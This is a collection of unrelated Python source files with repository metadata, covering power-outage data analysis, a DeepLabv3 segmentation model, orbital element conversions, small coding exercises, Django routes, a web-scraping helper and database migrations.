pd.read_excel('C:/Users/d_floriello/Documents/out2015.xlsx')\r\n\r\nnmn = ['num outages tot', 'tot indisp', '%tot indisp', 'altro_filiera', 'Hydraulique lacs',\r\n \"Hydraulique fil de l'eau / éclusée\",\r\n 'Nucléaire',\r\n 'Charbon',\r\n 'Autre',\r\n 'Gaz',\r\n 'Marin',\r\n 'Fioul',\r\n 'Hydraulique STEP',\r\n 'altro',\r\n 'Indisponibilité planifiée', 'Indisponibilité fortuite']#,\r\n# 'altro_prod',\r\n# 'DIRECT ENERGIE',\r\n# 'TOTAL',\r\n# 'GDF-SUEZ',\r\n# 'UNIPER',\r\n# 'EDF',\r\n# 'PSS POWER',\r\n# 'ALPIQ']\r\n\r\n\r\ndiz = OrderedDict()\r\n# il DataFrame risultante verra riempito da diz per righe.\r\n# ogni entrata di diz sarà:\r\n# 0: num outages totali;\r\n# 1: indisponibilita totale in MWh(?)\r\n# 2: indisponibilita inpercentuale\r\n# 3: per ogni tipo di centrale la percentuale fuori uso di quel tipo sul totale outages\r\n# 4: percentuale cause\r\n# 5: percentuale produttori\r\nmon = [1,2,3,4,5,6,7,8,9,10,11,12]\r\nfiliera = list(set(out['Filière']))\r\ntipo = list(set(out[\"Type d'indisponibilité\"]))\r\nprod = list(set(out['Nom du producteur']))\r\ncause = list(set(out['Cause']))\r\nfiliera = [i for i in filiera if isinstance(i, str)]\r\ntipo = [i for i in tipo if isinstance(i, str)]\r\nprod = [i for i in prod if isinstance(i, str)]\r\ncause = [i for i in cause if isinstance(i, str)]\r\nfor m in mon:\r\n    vec = []\r\n    out2 = out.set_index(out['Fin Indispo'])\r\n    atm = out2.ix[out2.index.month > m]\r\n    ids = list(set(atm['ID Indisponibilité de production']))\r\n    ind = tot = 0\r\n    nfil = np.repeat(0, len(filiera)).tolist()\r\n    ntip = np.repeat(0, len(tipo)).tolist()\r\n    npro = np.repeat(0, len(prod)).tolist()\r\n    ncau = np.repeat(0, len(cause)).tolist()\r\n    if len(ids) > 0:\r\n        vec.append([len(ids)]) ### num outages totali\r\n        for i in ids:\r\n#            print(ind)\r\n#            print(type(ind))\r\n#            print(tot)\r\n#            print(type(tot))\r\n            I = atm.ix[atm['ID Indisponibilité de production'] == i]\r\n            M = I.ix[I['Version'] == np.max(I['Version'])]\r\n            ind += M['Puissance nominale'].values[0] - M['Puissance disponible restante'].values[0]\r\n            tot += M['Puissance nominale'].values[0]\r\n#            print(ind)\r\n#            print(type(ind))\r\n#            print(tot)\r\n#            print(type(tot))\r\n            for fil in filiera:\r\n                if fil == M['Filière'].values[0]:\r\n                    indx = filiera.index(fil)\r\n                    nfil[indx] += 1\r\n            for tip in tipo:\r\n                if tip == M[\"Type d'indisponibilité\"].values[0]:\r\n                   #print(M[\"Type d'indisponibilité\"].values[0]) \r\n                   indx = tipo.index(tip)\r\n                   ntip[indx] += 1\r\n                   #print(ntip)\r\n            for pro in prod:\r\n                if pro == M['Nom du producteur'].values[0]:\r\n                    indx = prod.index(pro)\r\n                    npro[indx] += 1\r\n            for cu in cause:\r\n                if cu == M['Cause'].values[0]:\r\n                    indx = cause.index(cu)\r\n                    ncau[indx] += 1\r\n        perc = ind/tot\r\n        print(perc)\r\n        vec.append([ind])\r\n        vec.append([perc])\r\n        print((np.array(ntip)/len(ids)).tolist())\r\n        vec.append((np.array(nfil)/len(ids)).tolist())\r\n        #vec.append((np.array(ntip)/len(ids)).tolist())\r\n        vec.append([ntip[0]/len(ids)])\r\n        vec.append([ntip[1]/len(ids)])\r\n        #vec.append((np.array(npro)/len(ids)).tolist())\r\n        #vec.append(ncau/ids.size)\r\n        vec= [item for sublist in vec for item in sublist]\r\n        #vec = np.array(vec).ravel().tolist()\r\n        diz[str(m)] = vec\r\n    else:\r\n        diz[str(m)] = np.repeat(0,len(nmn)).tolist()        \r\n        \r\n        \r\nDF = pd.DataFrame.from_dict(diz, orient = 'index')\r\nDF.columns = [nmn]\r\nDF.shape\r\n\r\nfs = pd.read_excel('C:/Users/d_floriello/Documents/Prezzi Francia e Svizzera (2015 -2016).xlsx', sheetname = '2015')\r\nfs = fs[fs.columns[[2,3]]].set_index(fs['Data'])\r\nplt.figure()\r\nplt.plot(fs[fs.columns[0]].resample('D').mean())\r\nplt.figure()\r\nDF[DF.columns[3:13]].plot()\r\n\r\nfrom pandas.tools import plotting\r\n\r\nplt.figure()\r\nplotting.parallel_coordinates(DF[DF.columns[3:13]])\r\n\r\nfor i in range(1,13,1):\r\n    print(sorted(DF[DF.columns[3:13]].ix[DF.index == str(i)]))\r\n\r\nnuc = []\r\nhydro = []\r\ngas = []\r\ncoal = []\r\nrim = []\r\nperc = []\r\nfor i in range(1,13,1):\r\n    nuc.append(get_simple_count(out, i, 'Filière')[3])\r\n    hydro.append(get_simple_count(out, i, 'Filière')[2] + get_simple_count(out, i, 'Filière')[5])\r\n    gas.append(get_simple_count(out, i, 'Filière')[1])\r\n    coal.append(get_simple_count(out, i, 'Filière')[0])\r\n    rim.append(get_remaining_power(out, i)[0])\r\n    perc.append(get_remaining_power(out, i)[1])\r\n\r\ndiz2 = OrderedDict()\r\ndiz2['nucleare'] = nuc    \r\ndiz2['hydro'] = hydro    \r\ndiz2['gas'] = gas    \r\ndiz2['carbone'] = coal    \r\n\r\ndiz3 = OrderedDict()\r\ndiz3['remaining power'] = rim\r\ndiz3['%remaining power'] = perc\r\n\r\nD2 = pd.DataFrame.from_dict(diz2)\r\nD3 = pd.DataFrame.from_dict(diz3)\r\n    \r\nplt.figure()\r\nplt.plot(np.array(nuc))\r\nplt.figure()\r\nplt.plot(np.array(fs[fs.columns[0]].resample('M').mean()))\r\nplt.figure()\r\nD3['%remaining power'].plot()\r\n\r\nplt.figure()\r\nplt.scatter(np.array(D3['remaining power']), np.array(fs[fs.columns[0]].resample('M').mean()))","repo_name":"davideflo/Python_code","sub_path":"Outages.py","file_name":"Outages.py","file_ext":"py","file_size_in_byte":9912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"8416715192","text":"import torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\n\n\nclass ASPP(nn.Module):\n    \"\"\"\n    Reference:\n    Chen, Liang-Chieh, et al. *\"Rethinking Atrous Convolution for Semantic Image Segmentation.\"*\n    \"\"\"\n\n    def __init__(self, in_planes, inner_planes=256, dilations=(12, 24, 36)):\n        super(ASPP, self).__init__()\n\n        norm_layer = nn.BatchNorm2d\n        self.conv1 = nn.Sequential(nn.AdaptiveAvgPool2d((1, 1)),\n                                   nn.Conv2d(in_planes, inner_planes, kernel_size=1, padding=0,\n                                   dilation=1, bias=False),\n                                   norm_layer(inner_planes),\n                                   nn.ReLU(inplace=True))\n        self.conv2 = nn.Sequential(nn.Conv2d(in_planes, inner_planes, kernel_size=1, padding=0,\n                                   dilation=1, bias=False),\n                                   norm_layer(inner_planes),\n                                   nn.ReLU(inplace=True))\n        self.conv3 = nn.Sequential(nn.Conv2d(in_planes, inner_planes, kernel_size=3,\n                                   padding=dilations[0], dilation=dilations[0], bias=False),\n                                   norm_layer(inner_planes),\n                                   nn.ReLU(inplace=True))\n        self.conv4 = nn.Sequential(nn.Conv2d(in_planes, inner_planes, kernel_size=3,\n                                   padding=dilations[1], dilation=dilations[1], bias=False),\n                                   norm_layer(inner_planes),\n                                   nn.ReLU(inplace=True))\n        self.conv5 = nn.Sequential(nn.Conv2d(in_planes, inner_planes, kernel_size=3,\n                                   padding=dilations[2], dilation=dilations[2], bias=False),\n                                   norm_layer(inner_planes),\n                                   nn.ReLU(inplace=True))\n\n        self.out_planes = (len(dilations) + 2) * inner_planes\n\n    def get_outplanes(self):\n        return self.out_planes\n\n    def forward(self, x):\n        _, _, h, w = x.size()\n        feat1 = F.interpolate(self.conv1(x), size=(h, w), mode='bilinear', align_corners=True)\n        feat2 = self.conv2(x)\n        feat3 = self.conv3(x)\n        feat4 = self.conv4(x)\n        feat5 = self.conv5(x)\n        aspp_out = torch.cat((feat1, feat2, feat3, feat4, feat5), 1)\n        return aspp_out\n\n\nclass DeepLabv3(nn.Module):\n\n    def __init__(self, in_planes, num_classes=19, inner_planes=256, dilations=(12, 24, 36)):\n        super(DeepLabv3, self).__init__()\n\n        norm_layer = nn.BatchNorm2d\n\n        self.aspp = ASPP(in_planes, inner_planes=inner_planes, dilations=dilations)\n        self.head = nn.Sequential(\n            nn.Conv2d(\n                self.aspp.get_outplanes(), 256, kernel_size=3, padding=1, dilation=1, bias=False),\n            norm_layer(256),\n            nn.ReLU(inplace=True),\n            nn.Dropout2d(0.1),\n            nn.Conv2d(256, num_classes, kernel_size=1, stride=1, padding=0, bias=True))\n\n    def forward(self, x):\n        aspp_out = self.aspp(x)\n        res = self.head(aspp_out)\n        return res\n\n\nclass DeepLabv3plus(nn.Module):\n\n    def __init__(self, in_planes, num_classes=19, inner_planes=256, dilations=(12, 24, 36)):\n        super(DeepLabv3plus, self).__init__()\n\n        norm_layer = nn.BatchNorm2d\n\n        self.aspp = ASPP(in_planes, inner_planes=inner_planes, dilations=dilations)\n        self.head = nn.Sequential(\n            nn.Conv2d(self.aspp.get_outplanes(), 256, kernel_size=3,\n                      padding=1, dilation=1, bias=False),\n            norm_layer(256),\n            nn.ReLU(inplace=True),\n            nn.Dropout2d(0.1))\n        self.final = nn.Conv2d(256, num_classes, kernel_size=1, stride=1, padding=0, bias=True)\n        self.tail = nn.Sequential(\n            nn.Conv2d(512, 256, kernel_size=3, stride=1, padding=1, bias=True),\n            norm_layer(256),\n            nn.ReLU(inplace=True),\n            nn.Dropout2d(0.1),\n            nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1, bias=True),\n            norm_layer(256), nn.ReLU(inplace=True), nn.Dropout2d(0.1))\n        self.low_conv = nn.Sequential(\n            nn.Conv2d(256, 256, kernel_size=1), norm_layer(256), nn.ReLU(inplace=True))\n\n    def forward(self, x):\n        x1, _, _, x4 = x\n        aspp_out = self.aspp(x4)\n        low_feat = self.low_conv(x1)\n        aspp_out = self.head(aspp_out)\n        h, w = low_feat.size()[-2:]\n        aspp_out = F.interpolate(aspp_out, size=(h, w), mode='bilinear', align_corners=True)\n        aspp_out = torch.cat((low_feat, aspp_out), dim=1)\n        aspp_out = self.tail(aspp_out)\n        res = self.final(aspp_out)\n        return res\n\n    @torch.no_grad()\n    def reinit_all_layers(self):\n        for m in self.modules():\n            if isinstance(m, nn.Conv2d):\n                nn.init.kaiming_normal_(m.weight, mode=\"fan_out\", nonlinearity=\"relu\")\n                # bias?\n            elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):\n                nn.init.constant_(m.weight, 1)\n                nn.init.constant_(m.bias, 0)\n","repo_name":"miquelmarti/DenseFixMatch","sub_path":"models/deeplab.py","file_name":"deeplab.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"}
{"seq_id":"10491867267","text":"###\n#   Functions for converting between different formats for state vectors\n#\n#   'start':  p = [P, T0, ecc, inc, OMEGA, omega, mp ...]\n#   'ortho':  p = [P, T0, ecosom, esinom, inc, OMEGA, mp ...]\n#   'kepler': p = [a, ecc, inc, omega, OMEGA, f, mp ...]\n#   'state':  p = [x, y, z, xdot, ydot, zdot ...]\n###\n\nimport numpy as np\nimport equationsofmotion as eom\n\nreload(eom)\n\npi = np.pi\nsin, cos, tan = np.sin, np.cos, np.tan\nsqrt = np.sqrt\n\n###\n\ndef start_to_ortho(pstart, angles):\n    '''\n    convert from 'start' to 'ortho' format or vice versa\n    \n    pstart  = parameters, (NPL x 7) array\n    angles  = can be 'deg' or 'rad'\n    '''\n    # set angle conversion factor for degrees/radians\n    if angles == 'deg': ac = pi/180.\n    if angles == 'rad': ac = 1.0\n\n    # pull values from parameter array\n    ps = np.swapaxes(pstart,0,1)\n    \n    P, T0, ecc, omega, inc, OMEGA, mp = np.copy(ps)\n    esinom = ecc*sin(omega*ac)\n    ecosom = ecc*cos(omega*ac)\n\n    return np.swapaxes(np.array([P, T0, ecosom, esinom, inc, OMEGA, mp]),0,1)\n\n\n\ndef ortho_to_start(portho, angles):\n    '''\n    convert from 'start' to 'ortho' format or vice versa\n    \n    portho  = parameters, (NPL x 7) array\n    angles  = can be 'deg' or 'rad'\n    '''\n    # set angle conversion factor for degrees/radians\n    if angles == 'deg': ac = pi/180.\n    if angles == 'rad': ac = 1.0\n\n    # pull values from parameter array\n    ps = np.swapaxes(portho,0,1)\n    \n    P, T0, ecosom, esinom, inc, OMEGA, mp = np.copy(ps)\n    ecc   = sqrt(ecosom**2 + esinom**2)\n    omega = np.arctan2(esinom,ecosom)/ac\n\n    return np.swapaxes(np.array([P, T0, ecc, omega, inc, OMEGA, mp]),0,1)\n\n\n\ndef ortho_to_kep(portho, epoch, msys):\n    '''\n    convert from 'ortho' format to 'kepler' format\n\n    portho  = parameters, (NPL x 7) array\n    epoch   = transit epoch (days)\n    msys    = mass of system (M_sol; Jacobian coordinates), length(NPL)\n    \n    input angles must be in RADIANS\n\n    '''\n    # set constants\n    ghere = 2.9591220363e-4             # Newtons constant\n\n    # pull values from parameter array\n    ps = np.swapaxes(portho,0,1)\n    \n    P, T0, ecosom, esinom, inc, OMEGA, mp = np.copy(ps)\n    ecc   = sqrt(ecosom**2 + esinom**2)\n    omega = np.arctan2(esinom,ecosom)\n        \n    pomega = OMEGA + omega\n    lamb0  = eom.getlamb(-omega+pi/2., ecc, pomega)                     # mean longitude\n    M0     = lamb0 - pomega                                             # mean anomaly\n    Me     = M0 + 2.*pi*(epoch-T0)/P                                    # mean anomaly at epoch\n\n    lambe  = (Me+pomega) % (2*pi)                                       # mean longitude at epoch\n    lambe[lambe>pi]  -= 2*pi                                            # range -pi < lambe < +pi\n    lambe[lambe<-pi] += 2*pi\n \n    f      = eom.getf(lambe, ecc, pomega)                               # true anomaly\n    a      = np.power(ghere*msys[1:],1./3) * np.power(P/(2.*pi),2./3)   # semimajor axis\n    \n    return np.swapaxes(np.array([a, f, ecc, omega, inc, OMEGA, mp]),0,1)\n\n\n\ndef rotatekep(x,y,inc,omega,OMEGA):\n    cosom = cos(omega); sinom = sin(omega)\n    cosOM = cos(OMEGA); sinOM = sin(OMEGA)\n    cosi  = cos(inc);   sini  = sin(inc)\n\n    x1 = cosom*x - sinom*y\n    y1 = sinom*x + cosom*y\n    z1 = np.zeros_like(x1)\n\n    x2 = x1\n    y2 = cosi*y1 - sini*z1\n    z2 = sini*y1 + cosi*z1\n\n    x3 = cosOM*x2 - sinOM*y2\n    y3 = sinOM*x2 + cosOM*y2\n    z3 = z2\n        \n    return np.array([x3,y3,z3])\n\n\n\ndef kep_to_state(pkep,GMtot=1.0):\n    '''\n    Inputs: pkep  = Keplerian parameter vector [a, f, ecc, inc, omega, OMEGA, mp]\n            GMtot = system total mass\n            \n    Outputs: state = position & velocity state vector [x,y,z,xdot,ydot,zdot]\n    '''\n    pkeps = np.swapaxes(pkep,0,1)\n\n    a, f, ecc, omega, inc, OMEGA, mp = pkeps\n    \n    cosf  = cos(f)\n    sinf  = sin(f)    \n    a1me2 = a*(1.0-ecc**2)\n    \n    r = a1me2/(1.0+ecc*cosf)\n       \n    x0 = r*cosf\n    y0 = r*sinf\n    \n    vx0 = -sqrt(GMtot/a1me2)*sinf\n    vy0 =  sqrt(GMtot/a1me2)*(ecc+cosf)\n\n    xyz = np.swapaxes(rotatekep(x0,y0,inc,omega,OMEGA),0,1)\n    xyzdot = np.swapaxes(rotatekep(vx0,vy0,inc,omega,OMEGA),0,1)\n    \n    return np.hstack([xyz, xyzdot])\n\n\ndef state_to_kep(state, mp, GMtot=1.0):\n    '''\n    Inputs: state = position & velocity state vector [x,y,z,xdot,ydot,zdot]\n            GMtot = system total mass\n            \n    Outputs: pkep  = Keplerian parameter vector [a, f, ecc, inc, omega, OMEGA, mp]\n    \n    For all equations see Murray & Dermott chapter 2.8\n    '''\n    x,y,z,vx,vy,vz = np.swapaxes(state,0,1)\n    \n    rsq = x**2 + y**2 + z**2\n    r   = sqrt(rsq)\n    vsq = vx**2 + vy**2 + vz**2\n    v   = sqrt(vsq)    \n    hx  = y*vz - z*vy\n    hy  = z*vx - x*vz\n    hz  = x*vy - y*vx\n    hsq = hx**2 + hy**2 + hz**2\n    h   = sqrt(hsq)\n\n    rdot = sqrt(abs(vsq - hsq/rsq))\n    rdot[vsq <= (hsq/rsq)] = 0.0\n\n    rrdot = x*vx + y*vy + z*vz\n    rdot[rrdot <= 0] *= -1\n    \n    a   = (2./sqrt(rsq) - vsq/GMtot)**-1\n    ecc = sqrt(1. - hsq/(GMtot*a))\n    inc = np.arccos(hz/h)\n    \n    sini  = sin(inc)\n    \n    sinOM = hx/(h*sini)\n    cosOM = -hy/(h*sini)\n    OMEGA = np.arctan2(sinOM,cosOM)\n    \n    sinomf =  z/(r*sini)\n    cosomf = (1./cos(OMEGA))*(x/r + sin(OMEGA)*sinomf*hz/h)\n    omf    = np.arctan2(sinomf,cosomf)\n\n    OMEGA[sini==0] = 0.0\n    omf[sini==0]   = np.arctan2(y/r,x/r)[sini==0]\n    \n    sinf = a*(1.-ecc**2)/(h*ecc)*rdot\n    cosf = 1./ecc *(a*(1.-ecc**2)/r - 1)\n    f    = np.arctan2(sinf,cosf)\n    \n    omega = (omf - f) % (2*pi)      # -pi < omega < pi\n    omega[omega>pi]  -= (2*pi)\n    omega[omega<-pi] += (2*pi)\n    \n    omega[ecc==0] = 0.0\n    f[ecc==0] = omf[ecc==0]\n    \n    return np.swapaxes(np.array([a, f, ecc, omega, inc, OMEGA, mp]),0,1)\n","repo_name":"gjgilbert/nttv","sub_path":"statevectors.py","file_name":"statevectors.py","file_ext":"py","file_size_in_byte":5720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"23578426747","text":"# Q23.Write a Python program to find the highest 3 values of corresponding keys in a\n# # dictionary.\na={\"a\":100,\"b\":500,\"c\":300,\"d\":400,\"e\":300,\"f\":600,\"g\":700}\nf=[]\nw={}\nd=[]\nmax1=0\n\nmax2=0\nmax3=0\nfor i in a:\n    for j in a:\n        if a[j]>max1:\n            max1=a[j]\n            n=j\n        if a[j]>max2 and max1!=a[j]:\n            max2=a[j]\n            m=j\n        if a[j]>max3 and max1!=a[j] and max2!=a[j]:\n            max3=a[j]\n            p=j\nf.append(n)\nf.append(m)\nf.append(p)\nd.append(max1)\nd.append(max2)\nd.append(max3)\nfor i in range (len(f)) :\n    w.update({f[i]:d[i]})\nprint(w)","repo_name":"shantisi/dictionary","sub_path":"q23.py","file_name":"q23.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"42406261444","text":"from ..toollib.bs import _to_bs\nfrom ..config import config\nimport os\n\nvote_up = config.get('vote_up')\n\n\ndef _get_author_info(bs_obj):\n    ret = bs_obj.find('div', {'class': 'AuthorInfo'}).find_all('a')\n    if ret:\n        return ret[-1]\n    return '匿名用户'\n\n\ndef _get_author_name(bs_obj):\n    ret = _get_author_info(bs_obj)\n    if ret == '匿名用户':\n        return '匿名用户'\n    return ret.text\n\n\ndef _get_author_url(bs_obj):\n    ret = _get_author_info(bs_obj)\n    if ret == '匿名用户':\n        return ''\n    return ret.get('href')\n\n\ndef _get_attr(bs_obj):\n    return _get_author_name(bs_obj), _get_author_url(bs_obj), _get_vote(bs_obj)\n\n\ndef _get_vote(bs_obj):\n    vote = bs_obj.find('button', {'class': 'VoteButton--up'}).text\n    if vote.isdigit():\n        return int(bs_obj.find('button', {'class': 'VoteButton--up'}).text)\n    if 'K' in vote:\n        return int(float(vote.strip('K')) * 1000)\n    return 0\n\n\ndef _get_images(answer):\n    noscripts = answer.find_all('noscript')\n    if noscripts:\n        images = []\n        for item in noscripts:\n            bs_obj = _to_bs('<' + item.text.strip('&gt;').strip('lt;') + '/>')  # convert noscripts element to img\n            src, width, height = bs_obj.img.attrs.get('src').replace('_b', ''), bs_obj.img.attrs.get(\n                'data-rawwidth'), bs_obj.img.attrs.get('data-rawheight')\n            images.append((src, width, height))\n        return images\n    return noscripts\n\n\ndef _get_answers(bs_obj):\n    ret = []\n    for item in bs_obj.find_all('div', {'class': 'List-item'}):\n        if len(item.attrs.get('class')) == 1:\n            ret.append(item)\n    return ret\n\n\ndef _filter_answer(bs_obj):\n    if _get_vote(bs_obj) < vote_up:\n        return\n    images = _get_images(bs_obj)\n    if not images:\n        return\n    return images\n\n\n\n#   def filter_tags(self, htmlstr):\n#     print(htmlstr)\n#     return\n#     #先过滤CDATA\n#     # re_cdata   = re.compile('//<!\\[CDATA\\[[^>]*//\\]\\]>',re.I) #匹配CDATA\n#     # re_script  = re.compile('<\\s*script[^>]*>[^<]*<\\s*/\\s*script\\s*>',re.I)#Script\n#     # re_style   = re.compile('<\\s*style[^>]*>[^<]*<\\s*/\\s*style\\s*>',re.I)#style\n#     # re_br      = re.compile('<br\\s*?/?>')#处理换行\n#     re_h       = re.compile('</?\\w+[^>]*>')#HTML标签\n#     # re_comment = re.compile('<!--[^>]*-->')#HTML注释\n#     # html          = re_cdata.sub('',htmlstr)#去掉CDATA\n\n\n#     # html          = re_script.sub('',html) #去掉SCRIPT\n#     # html          = re_style.sub('',html)#去掉style\n#     # html          = re_br.sub('\\n',html)#将br转换为换行\n#     html          = re_h.sub('',htmlstr) #去掉HTML 标签\n#     # html          = re_comment.sub('',html)#去掉HTML注释\n#     #去掉多余的空行\n#     # blank_line = re.compile('\\n+')\n#     # html          = blank_line.sub('\\n',html)\n\n#     return html\n","repo_name":"zxf5115/crawler_qixinbao","sub_path":"tools/helpers/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":2845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"38677837975","text":"# nao entendi muito bem esse #16\n\nprimeiro = int(input('Primeiro termo: '))\nrazao = int(input('Razão: '))\ndecimo = primeiro + (10-1) * razao\nfor contador in range(primeiro, decimo + razao, razao):\n    print('{} '.format(contador), end='> ')\nprint('OVER')\n\n\n","repo_name":"welcome-to-Gabriel-page/EX001-100","sub_path":"ex016.py","file_name":"ex016.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"35308922322","text":"from django.conf.urls import url, include\n# from rest_framework import routers\n\nfrom . import views\n\n# router = routers.DefaultRouter()\n# router.register(r'locations', views.LocationViewSet)\n\nurlpatterns = [\n    # url(r'^', include(router.urls)),\n    url(r'^time/$', views.current_datetime),\n    url(r'^user/$', views.user_info),\n    url(r'^dish/$', views.dish_list),\n    url(r'^dish/(?P<id>[0-9]+)/$', views.dish_detail),\n    url(r'^rate/(?P<id>[0-9]+)/$', views.post_rate),\n    url(r'^current_location/$', views.current_location),\n    url(r'^pickup_locations/$', views.pickup_location_list),\n    url(r'^notification/$', views.notification_content),\n    url(r'^notification/(?P<timestamp>[0-9]+)/$', views.notification_content_with_timestamp),\n    url(r'^order/$', views.order_list),\n    url(r'^order/bunch/$', views.create_orders),\n    url(r'^order/history/(?P<id>[0-9]+)/$', views.history_order_user),\n    url(r'^order/user/(?P<id>[0-9]+)/$', views.order_user),\n    url(r'^order/(?P<id>[0-9]+)/$', views.order_amount),\n    url(r'^payment/client_token/$', views.client_token),\n    url(r'^payment/checkout/$', views.create_purchase_ios),\n    url(r'^payment/checkout/android/$', views.create_purchase_android),\n\n    # for debug only, commentted out in production\n    # url(r'^location/(?P<id>[0-9]+)/$', views.location_detail),\n]\n","repo_name":"louis-xu-ustc/EasyOrder_Backend","sub_path":"easyorder/backend/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"31857576936","text":"from robot.api import ResultVisitor\n\n\nclass KeywordResults(ResultVisitor):\n\n    def __init__(self, kw_list, ignore_library, ignore_type):\n        self.kw_list = kw_list\n        self.ignore_library = ignore_library\n        self.ignore_type = ignore_type\n        \n    def start_keyword(self, kw):\n        if (kw.libname not in self.ignore_library) and (kw.type not in self.ignore_type):\n            kw_json = {\n                \"Name\" : kw.name,\n                \"Status\" : kw.status,\n                \"Time\" : kw.elapsedtime\n            }\n            self.kw_list.append(kw_json)","repo_name":"adiralashiva8/robotframework-metrics","sub_path":"robotframework_metrics/keyword_results.py","file_name":"keyword_results.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":195,"dataset":"github-code","pt":"47"}
{"seq_id":"16453165578","text":"\n\"\"\"\n    My runtime beats 83.39 % of python3 submissions (as per leetcode).\n\"\"\"\ndef backspace_string(s: str, t: str) -> bool:\n\n    def back_space(strs: str) -> str:\n        s1 = []\n        for i in range(len(strs)):\n\n            if strs[i] != \"#\":\n                s1.append(strs[i])\n\n            elif strs[i] == \"#\" and len(s1) != 0:\n                s1.pop()\n\n        return s1\n\n    a = back_space(s)\n    b = back_space(t)\n\n    print(a, b)\n    return a == b\n\n\n# Driver Code Starts\nif __name__ == \"__main__\":\n\n    s = input()\n\n    t = input()\n\n    print(backspace_string(s, t))\n","repo_name":"AnshumanSinghh/Competitive_programming","sub_path":"leetcode/backspace_string.py","file_name":"backspace_string.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"70095250063","text":"from osv import osv\nfrom osv import fields\n\nclass resource_calendar(osv.osv):\n    '''\n    Open ERP Model\n    '''\n    _inherit = \"resource.calendar\"\n    _description = 'openerpmodel'\n \n    _columns = {\n            'attendance_ids' : fields.one2many('resource.calendar.attendance', 'calendar_id', 'Working Time'),\n            'var_attendance':fields.boolean('Variable working Time', required=False), \n            'var_attendance_ids' : fields.one2many('resource.calendar.variable.attendance', 'calendar_id', 'Variable Working Time'),\n        }\nresource_calendar()\n\nclass resource_calendar_variable_attendance(osv.osv):\n    _name = \"resource.calendar.variable.attendance\"\n    _description = \"Resource Calendar\"\n    _columns = {\n        'name' : fields.char(\"Name\", size=64, required=True),\n        'dayofweek': fields.selection([('0','Monday'),('1','Tuesday'),('2','Wednesday'),('3','Thursday'),('4','Friday'),('5','Saturday'),('6','Sunday')], 'Day of Week', required=True, select=True),\n        'date_from' : fields.date('Starting Date'),\n        'hour_from' : fields.float('Work from', required=True, help=\"Start and End time of working.\", select=True),\n        'hour_to' : fields.float(\"Work to\", required=True),\n        'calendar_id' : fields.many2one(\"resource.calendar\", \"Resource's Calendar\", required=True),\n    }\n    _order = 'date_from, dayofweek, hour_from'\n\n    _defaults = {\n        'dayofweek' : '0'\n    }\nresource_calendar_variable_attendance()","repo_name":"mallconnectionorg/openerp","sub_path":"rrhh/l10n_cl_hr_payroll/model/resource.py","file_name":"resource.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"4930768548","text":"revision = '022'\ndown_revision = '021'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.engine import reflection\nfrom sqlalchemy.sql import table, column\n\n\n# A simple model of the workflow definitions table with only the field needed\nwf_def = table('workflow_definitions_v2', column('namespace'))\n\n# A simple model of the workflow executions table with only the field needed\nwf_exec = table('workflow_executions_v2', column('workflow_namespace'))\n\n# A simple model of the task executions table with only the field needed\ntask_exec = table('task_executions_v2', column('workflow_namespace'))\n\n# A simple model of the action executions table with only the fields needed\naction_executions = sa.Table(\n    'action_executions_v2',\n    sa.MetaData(),\n    sa.Column('id', sa.String(36), nullable=False),\n    sa.Column('workflow_name', sa.String(255)),\n    sa.Column('workflow_namespace', sa.String(255), nullable=True)\n)\n\n\ndef upgrade():\n\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\n        'workflow_definitions_v2',\n        sa.Column(\n            'namespace',\n            sa.String(length=255),\n            nullable=True\n        )\n    )\n\n    inspect = reflection.Inspector.from_engine(op.get_bind())\n\n    unique_constraints = [\n        unique_constraint['name'] for unique_constraint in\n        inspect.get_unique_constraints('workflow_definitions_v2')\n    ]\n\n    if 'name' in unique_constraints:\n        op.drop_index('name', table_name='workflow_definitions_v2')\n\n    op.create_unique_constraint(\n        None,\n        'workflow_definitions_v2',\n        ['name', 'namespace', 'project_id']\n    )\n\n    op.add_column(\n        'workflow_executions_v2',\n        sa.Column(\n            'workflow_namespace',\n            sa.String(length=255),\n            nullable=True\n        )\n    )\n\n    op.add_column(\n        'task_executions_v2',\n        sa.Column(\n            'workflow_namespace',\n            sa.String(length=255),\n            nullable=True\n        )\n    )\n\n    op.add_column(\n        'action_executions_v2',\n        sa.Column('workflow_namespace', sa.String(length=255), nullable=True)\n    )\n\n    session = sa.orm.Session(bind=op.get_bind())\n    values = []\n\n    for row in session.query(action_executions):\n        values.append({'id': row[0],\n                       'workflow_name': row[1]})\n\n    with session.begin(subtransactions=True):\n        session.execute(wf_def.update().values(namespace=''))\n        session.execute(wf_exec.update().values(workflow_namespace=''))\n        session.execute(task_exec.update().values(workflow_namespace=''))\n\n        for value in values:\n            if value['workflow_name']:\n                session.execute(action_executions.update().values(\n                    workflow_namespace=''\n                ).where(action_executions.c.id == value['id']))\n\n    # this commit appears to be necessary\n    session.commit()\n\n# ### end Alembic commands ###\n","repo_name":"openstack/mistral","sub_path":"mistral/db/sqlalchemy/migration/alembic_migrations/versions/022_namespace_support.py","file_name":"022_namespace_support.py","file_ext":"py","file_size_in_byte":2944,"program_lang":"python","lang":"en","doc_type":"code","stars":252,"dataset":"github-code","pt":"47"}
